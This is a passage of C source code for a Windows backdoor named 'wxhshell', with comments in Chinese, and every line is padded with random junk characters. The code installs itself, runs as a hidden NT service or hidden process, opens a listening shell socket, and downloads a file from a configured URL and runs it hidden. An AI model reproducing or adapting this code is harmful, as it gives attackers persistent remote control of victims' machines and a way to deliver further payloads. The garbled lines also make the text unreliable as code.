DWORD BasePriority; d_4n0Kh0
ULONG UniqueProcessId; ;n yB
ULONG InheritedFromUniqueProcessId; *T.={>HE8
} PROCESS_BASIC_INFORMATION; RM?_15m
8r7/IGFg
PROCNTQSIP NtQueryInformationProcess; |u?k-,uI9
jD&}}:Dj
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; k#l'ko/X
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; G:E+s(x
@oe3i
HANDLE hProcess; "uV0Oj9:
PROCESS_BASIC_INFORMATION pbi; +=n
x|:no
-L^0-g
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Mft0Dj/
if(NULL == hInst ) return 0; w3>Y7vxiz`
,gFL Wb`B'
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); TzD:bKE&
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); o=a:L^nt,
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7?kXgR[#d
~NNaLl
if (!NtQueryInformationProcess) return 0; R7\{w(`K
:ofE8]
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?X8K$g
if(!hProcess) return 0; lB5[#z
S>/I?(J
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +1JZB*W
Og&0Z)%
CloseHandle(hProcess); SdEb[
0C9QAJa
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |Oj,S|Z:
if(hProcess==NULL) return 0; Gaw,1Ow!`2
2u I`$A:
HMODULE hMod; ie$fMBIq
char procName[255]; ;X9MA=b
unsigned long cbNeeded; MJ*oeI!.=
n@yd{Rc
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 'vf,T4uQ"
,M+h9_&0?
CloseHandle(hProcess); #b]}cwd!
;6\Ski0=l
if(strstr(procName,"services")) return 1; // 以服务启动 ;GSfN
skmDsZzw
return 0; // 注册表启动 P /f ~
} K>DnD0
z=8_%r
// 主模块 `*uuB;
int StartWxhshell(LPSTR lpCmdLine) I?:+~q}lZr
{ ]R2Z -2
SOCKET wsl; Poylq]F
BOOL val=TRUE; D@YM}HXuj
int port=0; o/i5e=9[y
struct sockaddr_in door; 5
\.TZMB
Qh1Kl_a?Lv
if(wscfg.ws_autoins) Install(); YA8yMh*4D?
V)@nRJ g
port=atoi(lpCmdLine); U_zpLpm^
' /@!"IXz
if(port<=0) port=wscfg.ws_port; ZQ-z2s9U
HzO0K=Z=R0
WSADATA data; q4IjCu+
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )}zA,FOA*
BZ'y}Zu*
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; #L+s%OJ`
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !O%f)v?
door.sin_family = AF_INET; P[J qJi/H
door.sin_addr.s_addr = inet_addr("127.0.0.1"); XQ|j5]
door.sin_port = htons(port); QdG?"Bdt2
>P]I&S-.
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { H$($l<G9C
closesocket(wsl); ={&TeMMA
return 1; A%sxMA!K,
} Zj /H3,7
y(p:)Iv
if(listen(wsl,2) == INVALID_SOCKET) { P[|BWNei
closesocket(wsl); }@Ll!,
return 1; A.'`FtV
} 1{uDHB
Wxhshell(wsl); JY,l#?lM{
WSACleanup(); V.OoZGE>]
Nr*ibtz|D
return 0; p%M(G#gOgP
C Ol%P
} wxr}*Z:ZMa
N?u2,h-
// 以NT服务方式启动 6I6ZVSxb
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }M"'K2_Z
{ 0"D?.E"$r
DWORD status = 0; S+\Mt+o
DWORD specificError = 0xfffffff; YJtOdgG|q
B )3SiU
serviceStatus.dwServiceType = SERVICE_WIN32; ?;r7j V/`j
serviceStatus.dwCurrentState = SERVICE_START_PENDING; |H|eH~.yg&
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; V'|g
serviceStatus.dwWin32ExitCode = 0; B'#gs'fl
serviceStatus.dwServiceSpecificExitCode = 0; f@V{}&ZWp
serviceStatus.dwCheckPoint = 0; ,:Y=,[ n
serviceStatus.dwWaitHint = 0; >Gu>T\jpe.
d ;Gm {g#
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); V1+o3g{}
if (hServiceStatusHandle==0) return; EXM/>PG
{7MgN'4
status = GetLastError(); ywa .cq
if (status!=NO_ERROR) ]V[
{ OG<]`!"
serviceStatus.dwCurrentState = SERVICE_STOPPED; #$
raUNr
serviceStatus.dwCheckPoint = 0; 4dD@lG~
serviceStatus.dwWaitHint = 0; I{P$B-
serviceStatus.dwWin32ExitCode = status; -B++V
serviceStatus.dwServiceSpecificExitCode = specificError; 'kONb
SetServiceStatus(hServiceStatusHandle, &serviceStatus); u+i/CE#w
return; oz5lt4
} !*QA;*e
;U:o'9^9T
serviceStatus.dwCurrentState = SERVICE_RUNNING; g_U*_5doA
serviceStatus.dwCheckPoint = 0; ]8j5Ou6#y
serviceStatus.dwWaitHint = 0; w}KcLaI
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); w})&[d
} W SeRV?+T
oFx gR9
// 处理NT服务事件,比如:启动、停止 IU"!oM ^
VOID WINAPI NTServiceHandler(DWORD fdwControl) <P)%Ms
{ orN2(:Ct7
switch(fdwControl) FU3IK3}
{ #cg@Z
case SERVICE_CONTROL_STOP: 7!d<>_oH
serviceStatus.dwWin32ExitCode = 0; 6b5{
serviceStatus.dwCurrentState = SERVICE_STOPPED; ^L2Zo'y [
serviceStatus.dwCheckPoint = 0; ="PywZ
serviceStatus.dwWaitHint = 0; hFF&(t2{^
{ gM/_:+bT>P
SetServiceStatus(hServiceStatusHandle, &serviceStatus); BqJrL/(
} 7JK 'vT
return; !c;p4B)
case SERVICE_CONTROL_PAUSE: 9<#R;eIsv
serviceStatus.dwCurrentState = SERVICE_PAUSED; PyJblW
break; FH@e:-*=
case SERVICE_CONTROL_CONTINUE: m`w6wz
serviceStatus.dwCurrentState = SERVICE_RUNNING; m>m`aLrnb
break; +GEKg~/4e
case SERVICE_CONTROL_INTERROGATE: SodW5v a
break; ToCfLJ?{
}; Y- 9j2.{
SetServiceStatus(hServiceStatusHandle, &serviceStatus); pF{Ri
} &b:Zln.j
#B{F{,vlu,
// 标准应用程序主函数 @!tmUme1c
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2/W0y!qh1
{ 2FtEt+A+'
+\@\,{Ujy
// 获取操作系统版本 wZolg~dg
OsIsNt=GetOsVer(); "PM:&v
GetModuleFileName(NULL,ExeFile,MAX_PATH); RB
0j!H:
A=>6$L];'
// 从命令行安装 Y+PxV*"a
if(strpbrk(lpCmdLine,"iI")) Install(); f;I"tugO
+.Ukzu~s
// 下载执行文件 P>cJ~FM
if(wscfg.ws_downexe) { m<;" 1<k
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) o`]FH_
WinExec(wscfg.ws_filenam,SW_HIDE); CKK5+
} W;*vcbP
Xrs~ove1V
if(!OsIsNt) { #nL0Hx7]E
// 如果时win9x,隐藏进程并且设置为注册表启动 gnK!"!nL
HideProc(); IBHG1<3
StartWxhshell(lpCmdLine); Tl{r D(D
} W5yu`Br
else +2enz!z#k
if(StartFromService()) gM:oP.
// 以服务方式启动 [<yUq zm
StartServiceCtrlDispatcher(DispatchTable); =|^W]2W$
else Y\2>y"8>$x
// 普通方式启动 =<tEc+!T3
StartWxhshell(lpCmdLine); c8 fb)`,k
/60=N`i
return 0; .jU0Hu{F4
}